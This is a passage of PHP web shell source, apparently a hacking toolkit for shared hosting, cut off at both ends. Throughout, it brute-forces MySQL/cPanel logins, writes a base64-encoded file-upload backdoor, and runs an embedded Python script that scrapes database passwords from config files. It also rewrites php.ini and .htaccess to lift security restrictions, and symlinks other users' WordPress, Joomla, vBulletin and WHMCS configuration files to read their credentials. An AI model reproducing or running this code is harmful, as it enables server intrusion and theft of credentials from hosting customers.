\'passwd\'){\r\n $e = explode("\\n",$_POST[\'usernames\']);\r\n foreach($e as $value){\r\n $k = explode(":",$value);\r\n $username .= $k[\'0\']." ";\r\n }\r\n }elseif($_POST[\'type\'] == \'simple\'){\r\n $username = str_replace("\\n",\' \',$_POST[\'usernames\']);\r\n }\r\n $a1 = explode(" ",$username);\r\n $a2 = explode("\\n",$_POST[\'passwords\']);\r\n $id2 = count($a2);\r\n $ok = 0;\r\n foreach($a1 as $user )\r\n {\r\n if($user !== \'\')\r\n {\r\n $user=trim($user);\r\n for($i=0;$i<=$id2;$i++)\r\n {\r\n $pass = trim($a2[$i]);\r\n if(@mysql_connect(\'localhost\',$user,$pass))\r\n {\r\n echo "X\'1n73ct~ user is (<b><font color=green>$user</font></b>) Password is (<b><font color=green>$pass</font></b>)<br />";\r\n $ok++;\r\n }\r\n }\r\n }\r\n }\r\n echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by x\'1n73ct</b>";\r\n echo "<center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\n exit;\r\n}\r\n}\r\nif($_POST[\'pass\']==\'password\'){\r\n@error_reporting(0);\r\n$i = getenv(\'REMOTE_ADDR\');\r\n$d = date(\'D, M jS, Y H:i\',time());\r\n$h = $_SERVER[\'HTTP_HOST\'];\r\n$dir=$_SERVER[\'PHP_SELF\'];\r\n$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";\r\n$file = fopen(".php","w+");\r\n$write = fwrite ($file ,base64_decode($back));\r\nfclose($file);\r\nchmod(".php",0755);\r\nmkdir(\'config\',0755);\r\n$cp =\r\n\'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=\';\r\n$file = fopen("cp.py","w+");\r\n$write = fwrite ($file ,base64_decode($cp));\r\nfclose($file);\r\nchmod("cp.py",0755);\r\n$url = $_POST[\'url\'];\r\necho"<center>\r\n<textarea cols=\\"90\\" rows=\\"20\\" name=\\"usernames\\">";\r\nsystem("python cp.py $url config");\r\nunlink (\'cp.py\');\r\necho"</textarea>\r\n</center>";\r\necho "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\nexit;\r\n}\r\nif($_POST[\'matikan\']==\'sekatan\'){\r\n@error_reporting(0);\r\n$phpini =\r\n\'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==\';\r\n$file = fopen("php.ini","w+");\r\n$write = fwrite ($file ,base64_decode($phpini));\r\nfclose($file);\r\n$htaccess =\r\n\'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==\';\r\n$file = fopen(".htaccess","w+");\r\n$write = fwrite ($file ,base64_decode($htaccess));\r\necho "<hr><center><b>DONE!";\r\necho "<hr><center><b><a href=".$_SERVER[\'PHP_SELF\'].">BACK</a>";\r\nexit;\r\n}\r\nif($_POST[\'mendapatkan\']==\'passwd\'){\r\n@set_magic_quotes_runtime(0);\r\nob_start();\r\nerror_reporting(0);\r\n@set_time_limit(0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n$fn = $_POST[\'foldername\'];\r\n//all function here\r\n\r\nfunction syml($usern,$pdomain)\r\n\t{\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home2/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/includes/config.php\',$pdomain.\'~~vBulletin2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~vBulletin3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/cc/includes/config.php\',$pdomain.\'~~vBulletin4.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/config.php\',$pdomain.\'~~Phpbb1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/forum/includes/config.php\',$pdomain.\'~~Phpbb2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/wp-config.php\',$pdomain.\'~~Wordpress1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/blog/wp-config.php\',$pdomain.\'~~Wordpress2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/configuration.php\',$pdomain.\'~~Joomla1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/blog/configuration.php\',$pdomain.\'~~Joomla2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/joomla/configuration.php\',$pdomain.\'~~Joomla3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/whm/configuration.php\',$pdomain.\'~~Whm1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/whmc/configuration.php\',$pdomain.\'~~Whm2.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/support/configuration.php\',$pdomain.\'~~Whm3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/client/configuration.php\',$pdomain.\'~~Whm4.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/billings/configuration.php\',$pdomain.\'~~Whm5.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/billing/configuration.php\',$pdomain.\'~~Whm6.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/clients/configuration.php\',$pdomain.\'~~Whm7.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/whmcs/configuration.php\',$pdomain.\'~~Whm8.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/order/configuration.php\',$pdomain.\'~~Whm9.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/admin/conf.php\',$pdomain.\'~~5.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/admin/config.php\',$pdomain.\'~~4.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/conf_global.php\',$pdomain.\'~~invisio.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~7.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/connect.php\',$pdomain.\'~~8.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/mk_conf.php\',$pdomain.\'~~mk-portale1.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/include/config.php\',$pdomain.\'~~12.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/settings.php\',$pdomain.\'~~Smf.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/includes/functions.php\',$pdomain.\'~~phpbb3.txt\');\r\n\t\tsymlink(\'/home3/\'.$usern.\'/public_html/include/db.php\',$pdomain.\'~~infinity.txt\');\r\n\t\tsymlink(\'/home4/\'.$usern.\'/public_html/vb/includes/config.php\',$pdomain.\'~~vBulletin1.txt\');\r\n\t\tsyml